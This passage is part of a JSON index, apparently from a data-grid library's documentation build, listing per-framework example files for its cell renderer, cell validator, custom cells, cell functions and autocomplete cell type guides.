"guides__cell-functions__cell-renderer__react__example5.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example5", - "exampleTitle": "Render custom HTML in cells", - "docPermalink": "/cell-renderer", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/javascript/example5.ts", - "file": "guides__cell-functions__cell-renderer__javascript__example5.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example5", - "exampleTitle": "Render custom HTML in cells", - "docPermalink": "/cell-renderer", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/vue/example5.vue", - "file": "guides__cell-functions__cell-renderer__vue__example5.vue.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example5", - "exampleTitle": "Render custom HTML in cells", - "docPermalink": "/cell-renderer", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/angular/example6.ts", - "file": "guides__cell-functions__cell-renderer__angular__example6.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example6", - "exampleTitle": "Render custom HTML in header", - "docPermalink": "/cell-renderer", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/javascript/example6.js", - "file": "guides__cell-functions__cell-renderer__javascript__example6.js.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example6", - "exampleTitle": "Render custom HTML in header", - "docPermalink": "/cell-renderer", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/react/example6.tsx", - "file": "guides__cell-functions__cell-renderer__react__example6.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example6", - "exampleTitle": "Render custom HTML in header", - "docPermalink": "/cell-renderer", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/javascript/example6.ts", - "file": "guides__cell-functions__cell-renderer__javascript__example6.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example6", - "exampleTitle": "Render custom HTML in header", - "docPermalink": "/cell-renderer", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/vue/example6.vue", - "file": "guides__cell-functions__cell-renderer__vue__example6.vue.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example6", - "exampleTitle": "Render custom HTML in header", - "docPermalink": "/cell-renderer", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/angular/example7.ts", - "file": "guides__cell-functions__cell-renderer__angular__example7.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example7", - "exampleTitle": "Format symbols outside the Intl standard", - "docPermalink": "/cell-renderer", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-validator/angular/example1.ts", - "file": "guides__cell-functions__cell-validator__angular__example1.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-validator", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-validator/javascript/example1.js", - "file": "guides__cell-functions__cell-validator__javascript__example1.js.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-validator", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-functions/cell-validator/react/example1.tsx", - "file": "guides__cell-functions__cell-validator__react__example1.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-validator", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-validator/javascript/example1.ts", - "file": "guides__cell-functions__cell-validator__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-validator", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-functions/cell-validator/vue/example1.vue", - "file": "guides__cell-functions__cell-validator__vue__example1.vue.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-validator", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-validator/angular/example2.ts", - "file": "guides__cell-functions__cell-validator__angular__example2.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example2", - "exampleTitle": "Validate decimal numbers with dot or comma separators", - "docPermalink": "/cell-validator", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-validator/javascript/example2.js", - "file": "guides__cell-functions__cell-validator__javascript__example2.js.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example2", - "exampleTitle": "Validate decimal numbers with dot or comma separators", - "docPermalink": "/cell-validator", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-functions/cell-validator/react/example2.tsx", - "file": "guides__cell-functions__cell-validator__react__example2.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example2", - "exampleTitle": "Validate decimal numbers with dot or comma separators", - "docPermalink": "/cell-validator", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-validator/javascript/example2.ts", - "file": "guides__cell-functions__cell-validator__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example2", - "exampleTitle": "Validate decimal numbers with dot or comma separators", - "docPermalink": "/cell-validator", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-functions/cell-validator/vue/example2.vue", - "file": "guides__cell-functions__cell-validator__vue__example2.vue.json", - "breadcrumb": [ - "Cell Functions", - "Cell validator" - ], - "guide": "guides/cell-functions/cell-validator/cell-validator.md", - "guideTitle": "Cell validator", - "exampleId": "example2", - "exampleTitle": "Validate decimal numbers with dot or comma separators", - "docPermalink": "/cell-validator", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/custom-cells/vue/example1.vue", - "file": "guides__cell-functions__custom-cells__vue__example1.vue.json", - "breadcrumb": [ - "Cell Functions", - "Custom Cells" - ], - "guide": "guides/cell-functions/custom-cells/custom-cells.md", - "guideTitle": "Custom Cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/custom-cells/vue/example2.vue", - "file": "guides__cell-functions__custom-cells__vue__example2.vue.json", - "breadcrumb": [ - "Cell Functions", - "Custom Cells" - ], - "guide": "guides/cell-functions/custom-cells/custom-cells.md", - "guideTitle": "Custom Cells", - "exampleId": "example2", - "exampleTitle": "Vue component renderer", - "docPermalink": "/custom-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/custom-cells/vue/example3.vue", - "file": "guides__cell-functions__custom-cells__vue__example3.vue.json", - "breadcrumb": [ - "Cell Functions", - "Custom Cells" - ], - "guide": "guides/cell-functions/custom-cells/custom-cells.md", - "guideTitle": "Custom Cells", - "exampleId": "example3", - "exampleTitle": "Custom editors", - "docPermalink": "/custom-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-function/angular/example1.ts", - "file": "guides__cell-functions__cell-function__angular__example1.ts.json", - "breadcrumb": [ - "Cell Functions" - ], - "guide": "guides/cell-functions/cell-function/cell-function.md", - "guideTitle": "Cell functions", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-function", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-function/javascript/example1.js", - "file": "guides__cell-functions__cell-function__javascript__example1.js.json", - "breadcrumb": [ - "Cell Functions" - ], - "guide": "guides/cell-functions/cell-function/cell-function.md", - "guideTitle": "Cell functions", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-function", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-functions/cell-function/react/example1.tsx", - "file": "guides__cell-functions__cell-function__react__example1.tsx.json", - "breadcrumb": [ - "Cell Functions" - ], - "guide": "guides/cell-functions/cell-function/cell-function.md", - "guideTitle": "Cell functions", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-function", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-function/javascript/example1.ts", - "file": "guides__cell-functions__cell-function__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Functions" - ], - "guide": "guides/cell-functions/cell-function/cell-function.md", - "guideTitle": "Cell functions", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-function", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-functions/cell-function/vue/example1.vue", - "file": "guides__cell-functions__cell-function__vue__example1.vue.json", - "breadcrumb": [ - "Cell Functions" - ], - "guide": "guides/cell-functions/cell-function/cell-function.md", - "guideTitle": "Cell functions", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-function", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example1.ts", - "file": "guides__cell-types__autocomplete-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autocomplete-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example1.js", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autocomplete-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/react/example1.tsx", - "file": "guides__cell-types__autocomplete-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autocomplete-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example1.ts", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autocomplete-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example1.vue", - "file": "guides__cell-types__autocomplete-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autocomplete-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example2.ts", - "file": "guides__cell-types__autocomplete-cell-type__angular__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example2", - "exampleTitle": "Autocomplete strict mode", - "docPermalink": "/autocomplete-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example2.js", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example2.js.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example2", - "exampleTitle": "Autocomplete strict mode", - "docPermalink": "/autocomplete-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/react/example2.tsx", - "file": "guides__cell-types__autocomplete-cell-type__react__example2.tsx.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example2", - "exampleTitle": "Autocomplete strict mode", - "docPermalink": "/autocomplete-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example2.ts", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example2", - "exampleTitle": "Autocomplete strict mode", - "docPermalink": "/autocomplete-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example2.vue", - "file": "guides__cell-types__autocomplete-cell-type__vue__example2.vue.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example2", - "exampleTitle": "Autocomplete strict mode", - "docPermalink": "/autocomplete-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example3.ts", - "file": "guides__cell-types__autocomplete-cell-type__angular__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example3", - "exampleTitle": "Autocomplete strict mode with asynchronous data", - "docPermalink": "/autocomplete-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example3.js", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example3.js.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example3", - "exampleTitle": "Autocomplete strict mode with asynchronous data", - "docPermalink": "/autocomplete-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/react/example3.tsx", - "file": "guides__cell-types__autocomplete-cell-type__react__example3.tsx.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example3", - "exampleTitle": "Autocomplete strict mode with asynchronous data", - "docPermalink": "/autocomplete-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example3.ts", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example3", - "exampleTitle": "Autocomplete strict mode with asynchronous data", - "docPermalink": "/autocomplete-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example3.vue", - "file": "guides__cell-types__autocomplete-cell-type__vue__example3.vue.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example3", - "exampleTitle": "Autocomplete strict mode with asynchronous data", - "docPermalink": "/autocomplete-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example4.ts", - "file": "guides__cell-types__autocomplete-cell-type__angular__example4.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example4", - "exampleTitle": "Array of values", - "docPermalink": "/autocomplete-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example4.js", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example4.js.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example4", - "exampleTitle": "Array of values", - "docPermalink": "/autocomplete-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/react/example4.tsx", - "file": "guides__cell-types__autocomplete-cell-type__react__example4.tsx.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example4", - "exampleTitle": "Array of values", - "docPermalink": "/autocomplete-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example4.ts", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example4", - "exampleTitle": "Array of values", - "docPermalink": "/autocomplete-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example4.vue", - "file": "guides__cell-types__autocomplete-cell-type__vue__example4.vue.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example4", - "exampleTitle": "Array of values", - "docPermalink": "/autocomplete-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example5.ts", - "file": "guides__cell-types__autocomplete-cell-type__angular__example5.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example5", - "exampleTitle": "Array of objects", - "docPermalink": "/autocomplete-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example5.js", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example5.js.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example5", - "exampleTitle": "Array of objects", - "docPermalink": "/autocomplete-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/react/example5.tsx", - "file": "guides__cell-types__autocomplete-cell-type__react__example5.tsx.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example5", - "exampleTitle": "Array of objects", - "docPermalink": "/autocomplete-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example5.ts", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example5.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example5", - "exampleTitle": "Array of objects", - "docPermalink": "/autocomplete-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example5.vue", - "file": "guides__cell-types__autocomplete-cell-type__vue__example5.vue.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example5", - "exampleTitle": "Array of objects", - "docPermalink": "/autocomplete-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example6.ts", - "file": "guides__cell-types__autocomplete-cell-type__angular__example6.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example6", - "exampleTitle": "The filter option", - "docPermalink": "/autocomplete-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example6.js", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example6.js.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example6", - "exampleTitle": "The filter option", - "docPermalink": "/autocomplete-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/react/example6.tsx", - "file": "guides__cell-types__autocomplete-cell-type__react__example6.tsx.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example6", - "exampleTitle": "The filter option", - "docPermalink": "/autocomplete-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example6.ts", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example6.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example6", - "exampleTitle": "The filter option", - "docPermalink": "/autocomplete-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example6.vue", - "file": "guides__cell-types__autocomplete-cell-type__vue__example6.vue.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example6", - "exampleTitle": "The filter option", - "docPermalink": "/autocomplete-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example7.ts", - "file": "guides__cell-types__autocomplete-cell-type__angular__example7.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example7", - "exampleTitle": "The filteringCaseSensitive option", - "docPermalink": "/autocomplete-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example7.js", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example7.js.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example7", - "exampleTitle": "The filteringCaseSensitive option", - "docPermalink": "/autocomplete-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/react/example7.tsx", - "file": "guides__cell-types__autocomplete-cell-type__react__example7.tsx.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example7", - "exampleTitle": "The filteringCaseSensitive option", - "docPermalink": "/autocomplete-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example7.ts", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example7.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example7", - "exampleTitle": "The filteringCaseSensitive option", - "docPermalink": "/autocomplete-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example7.vue", - "file": "guides__cell-types__autocomplete-cell-type__vue__example7.vue.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example7", - "exampleTitle": "The filteringCaseSensitive option", - "docPermalink": "/autocomplete-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example8.ts", - "file": "guides__cell-types__autocomplete-cell-type__angular__example8.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example8", - "exampleTitle": "The sortByRelevance option", - "docPermalink": "/autocomplete-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example8.js", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example8.js.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example8", - "exampleTitle": "The sortByRelevance option", - "docPermalink": "/autocomplete-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/react/example8.tsx", - "file": "guides__cell-types__autocomplete-cell-type__react__example8.tsx.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example8", - "exampleTitle": "The sortByRelevance option", - "docPermalink": "/autocomplete-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example8.ts", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example8.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example8", - "exampleTitle": "The 